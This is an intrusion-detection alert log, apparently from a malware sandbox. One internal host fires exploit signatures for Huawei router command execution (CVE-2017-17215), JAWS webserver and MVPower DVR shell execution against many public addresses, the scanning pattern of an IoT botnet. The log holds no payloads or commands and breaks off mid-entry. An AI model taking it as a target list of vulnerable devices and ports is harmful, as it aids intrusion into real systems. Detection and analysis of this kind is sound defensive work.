ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.110.23.1

Timestamp:	06/10/24-15:38:02.696885
SID:	2835222
Source Port:	56356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 76.87.100.69

Timestamp:	06/10/24-15:37:59.860897
SID:	2030092
Source Port:	56400
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 181.113.46.125

Timestamp:	06/10/24-15:38:02.083879
SID:	2025883
Source Port:	45866
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.112.237.34

Timestamp:	06/10/24-15:37:59.924273
SID:	2835222
Source Port:	55322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.80.0.140

Timestamp:	06/10/24-15:38:02.818643
SID:	2835222
Source Port:	60054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.172.0.85

Timestamp:	06/10/24-15:38:00.256609
SID:	2835222
Source Port:	32906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 64.180.193.8

Timestamp:	06/10/24-15:38:02.086431
SID:	2025883
Source Port:	35036
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.62.0.215

Timestamp:	06/10/24-15:38:02.496645
SID:	2829579
Source Port:	44582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.181.42.38

Timestamp:	06/10/24-15:38:00.208229
SID:	2835222
Source Port:	58864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.173.181.199

Timestamp:	06/10/24-15:38:02.662261
SID:	2829579
Source Port:	49490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 121.118.217.183

Timestamp:	06/10/24-15:38:02.263058
SID:	2030092
Source Port:	39616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.43.184.117

Timestamp:	06/10/24-15:38:02.489622
SID:	2835222
Source Port:	36090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 94.87.180.153

Timestamp:	06/10/24-15:38:02.092323
SID:	2030092
Source Port:	38082
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.32.124.85

Timestamp:	06/10/24-15:37:59.986004
SID:	2835222
Source Port:	53016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.105.195.56

Timestamp:	06/10/24-15:38:00.032058
SID:	2835222
Source Port:	51814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.178.159.128

Timestamp:	06/10/24-15:38:00.241407
SID:	2835222
Source Port:	49198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 184.225.110.223

Timestamp:	06/10/24-15:37:59.836086
SID:	2030092
Source Port:	40004
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.16.252.113

Timestamp:	06/10/24-15:38:00.220635
SID:	2829579
Source Port:	34654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.205.156.248

Timestamp:	06/10/24-15:38:02.809845
SID:	2835222
Source Port:	54624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 178.116.76.220

Timestamp:	06/10/24-15:37:59.858870
SID:	2030092
Source Port:	34410
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.124.122.69

Timestamp:	06/10/24-15:38:00.180724
SID:	2835222
Source Port:	45616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.43.111.177

Timestamp:	06/10/24-15:38:02.743038
SID:	2835222
Source Port:	56570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.180.47.217

Timestamp:	06/10/24-15:38:02.771027
SID:	2829579
Source Port:	35570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 117.51.17.164

Timestamp:	06/10/24-15:38:02.206271
SID:	2030092
Source Port:	57210
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.86.241.113

Timestamp:	06/10/24-15:38:02.504277
SID:	2835222
Source Port:	55388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 80.246.211.214

Timestamp:	06/10/24-15:37:59.854316
SID:	2030092
Source Port:	49022
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.251.58.239

Timestamp:	06/10/24-15:38:00.199727
SID:	2835222
Source Port:	35058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 139.161.150.59

Timestamp:	06/10/24-15:38:02.289047
SID:	2030092
Source Port:	55132
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 46.84.188.53

Timestamp:	06/10/24-15:38:02.231760
SID:	2030092
Source Port:	43428
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.119.169.82

Timestamp:	06/10/24-15:38:02.859446
SID:	2835222
Source Port:	55734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.197.52.159

Timestamp:	06/10/24-15:38:02.796621
SID:	2835222
Source Port:	51590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.138.83.212

Timestamp:	06/10/24-15:38:02.655152
SID:	2835222
Source Port:	48126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.148.228.103

Timestamp:	06/10/24-15:38:02.910934
SID:	2829579
Source Port:	47504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.33.14.33

Timestamp:	06/10/24-15:37:59.972189
SID:	2829579
Source Port:	41548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.11.180.159

Timestamp:	06/10/24-15:38:02.849196
SID:	2835222
Source Port:	41440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.19.66.134

Timestamp:	06/10/24-15:38:02.718331
SID:	2835222
Source Port:	51422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.194.180.37

Timestamp:	06/10/24-15:38:00.262299
SID:	2835222
Source Port:	47796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.76.237.97

Timestamp:	06/10/24-15:38:02.487616
SID:	2835222
Source Port:	38160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.114.253.89

Timestamp:	06/10/24-15:38:02.807666
SID:	2835222
Source Port:	51654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.67.118.32

Timestamp:	06/10/24-15:38:00.006377
SID:	2835222
Source Port:	45572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.119.93.57

Timestamp:	06/10/24-15:37:59.952158
SID:	2829579
Source Port:	58850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.58.235.129

Timestamp:	06/10/24-15:38:02.653727
SID:	2835222
Source Port:	38800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.144.136.243

Timestamp:	06/10/24-15:37:59.982567
SID:	2835222
Source Port:	60620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 185.193.19.118

Timestamp:	06/10/24-15:38:02.162192
SID:	2030092
Source Port:	47272
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.252.62.74

Timestamp:	06/10/24-15:38:02.493155
SID:	2835222
Source Port:	46310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.231.72.216

Timestamp:	06/10/24-15:38:00.243236
SID:	2835222
Source Port:	34724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.121.169

Timestamp:	06/10/24-15:38:02.770031
SID:	2829579
Source Port:	35782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.186.220.178

Timestamp:	06/10/24-15:38:00.011379
SID:	2835222
Source Port:	43896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.120.214.252

Timestamp:	06/10/24-15:38:02.806681
SID:	2835222
Source Port:	58028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.142.125.129

Timestamp:	06/10/24-15:38:02.706858
SID:	2829579
Source Port:	54022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.161.161.103

Timestamp:	06/10/24-15:38:02.906256
SID:	2829579
Source Port:	33836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.149.108.206

Timestamp:	06/10/24-15:38:02.654413
SID:	2835222
Source Port:	54110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.147.198.198

Timestamp:	06/10/24-15:38:02.856030
SID:	2835222
Source Port:	46888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.27.221.22

Timestamp:	06/10/24-15:37:59.968821
SID:	2829579
Source Port:	45692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.96.242.34

Timestamp:	06/10/24-15:38:02.750600
SID:	2835222
Source Port:	48216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.165.101.234

Timestamp:	06/10/24-15:38:02.756024
SID:	2835222
Source Port:	37358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.234.212.72

Timestamp:	06/10/24-15:38:02.811819
SID:	2829579
Source Port:	49442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.97.36.34

Timestamp:	06/10/24-15:37:59.941715
SID:	2835222
Source Port:	41282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.82.178.96

Timestamp:	06/10/24-15:38:02.924570
SID:	2835222
Source Port:	57234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.230.39.62

Timestamp:	06/10/24-15:38:00.034890
SID:	2829579
Source Port:	34742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 174.173.190.249

Timestamp:	06/10/24-15:38:02.205682
SID:	2030092
Source Port:	48150
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.184.163.172

Timestamp:	06/10/24-15:38:02.679364
SID:	2835222
Source Port:	55308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.98.178.183

Timestamp:	06/10/24-15:38:00.024876
SID:	2829579
Source Port:	49654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.11.239.20

Timestamp:	06/10/24-15:38:00.238848
SID:	2829579
Source Port:	56428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.167.61.202

Timestamp:	06/10/24-15:38:00.179963
SID:	2835222
Source Port:	44542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.188.47.47

Timestamp:	06/10/24-15:38:00.242237
SID:	2829579
Source Port:	45198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.141.138.41

Timestamp:	06/10/24-15:38:02.686166
SID:	2829579
Source Port:	42686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.71.124.70

Timestamp:	06/10/24-15:38:02.861461
SID:	2829579
Source Port:	35420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 161.106.196.70

Timestamp:	06/10/24-15:37:59.849795
SID:	2025883
Source Port:	49620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 20.163.218.116

Timestamp:	06/10/24-15:37:59.845254
SID:	2030092
Source Port:	60926
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.63.49.202

Timestamp:	06/10/24-15:38:02.657974
SID:	2835222
Source Port:	38440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.192.233.189

Timestamp:	06/10/24-15:38:00.229452
SID:	2835222
Source Port:	52390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 212.209.139.234

Timestamp:	06/10/24-15:38:02.206841
SID:	2030092
Source Port:	44322
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.235.137.220

Timestamp:	06/10/24-15:38:00.032756
SID:	2835222
Source Port:	42506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.167.167.199

Timestamp:	06/10/24-15:38:00.249566
SID:	2829579
Source Port:	49874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.138.11.171

Timestamp:	06/10/24-15:38:02.784346
SID:	2829579
Source Port:	39098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 57.149.234.226

Timestamp:	06/10/24-15:38:02.293187
SID:	2030092
Source Port:	48638
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 87.245.32.151

Timestamp:	06/10/24-15:38:02.182601
SID:	2030092
Source Port:	49626
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.136.99.172

Timestamp:	06/10/24-15:38:02.872396
SID:	2835222
Source Port:	33202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.102.226.8

Timestamp:	06/10/24-15:38:02.753767
SID:	2829579
Source Port:	32970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.65.234.66

Timestamp:	06/10/24-15:38:02.874286
SID:	2829579
Source Port:	60666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.229.216.231

Timestamp:	06/10/24-15:38:00.198882
SID:	2829579
Source Port:	40706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 212.223.13.135

Timestamp:	06/10/24-15:38:02.125008
SID:	2030092
Source Port:	46494
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 8.62.18.145

Timestamp:	06/10/24-15:38:02.326758
SID:	2030092
Source Port:	56960
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.146.88.253

Timestamp:	06/10/24-15:38:02.509844
SID:	2835222
Source Port:	49560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.195.163.183

Timestamp:	06/10/24-15:37:59.997798
SID:	2835222
Source Port:	42556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 130.145.155.186

Timestamp:	06/10/24-15:38:02.099010
SID:	2030092
Source Port:	43804
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.2.17.159

Timestamp:	06/10/24-15:38:02.693449
SID:	2829579
Source Port:	37908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.136.229.6

Timestamp:	06/10/24-15:38:02.817519
SID:	2829579
Source Port:	60560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.237.134.242

Timestamp:	06/10/24-15:38:00.190865
SID:	2835222
Source Port:	32862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 154.68.192.29

Timestamp:	06/10/24-15:37:59.833827
SID:	2025883
Source Port:	51492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.151.233.250

Timestamp:	06/10/24-15:38:02.773931
SID:	2829579
Source Port:	60466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.11.68

Timestamp:	06/10/24-15:37:59.956930
SID:	2829579
Source Port:	39354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.73.107.249

Timestamp:	06/10/24-15:38:00.231115
SID:	2829579
Source Port:	34872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.213.44.111

Timestamp:	06/10/24-15:38:02.905259
SID:	2829579
Source Port:	39822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 72.176.38.52

Timestamp:	06/10/24-15:38:02.295761
SID:	2030092
Source Port:	37022
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.209.100.187

Timestamp:	06/10/24-15:37:59.987736
SID:	2835222
Source Port:	37842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.122.248.88

Timestamp:	06/10/24-15:38:02.766582
SID:	2835222
Source Port:	52936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 20.192.68.43

Timestamp:	06/10/24-15:37:59.866129
SID:	2025883
Source Port:	52018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.188.36.80

Timestamp:	06/10/24-15:38:02.919148
SID:	2835222
Source Port:	44646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.252.226.228

Timestamp:	06/10/24-15:37:59.953764
SID:	2829579
Source Port:	58684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 115.165.178.143

Timestamp:	06/10/24-15:37:59.781384
SID:	2030092
Source Port:	37506
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.53.161.229

Timestamp:	06/10/24-15:37:59.940258
SID:	2829579
Source Port:	49626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 8.145.15.147

Timestamp:	06/10/24-15:38:02.084446
SID:	2030092
Source Port:	43700
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 84.162.2.5

Timestamp:	06/10/24-15:37:59.806758
SID:	2030092
Source Port:	40556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.123.58.130

Timestamp:	06/10/24-15:37:59.951337
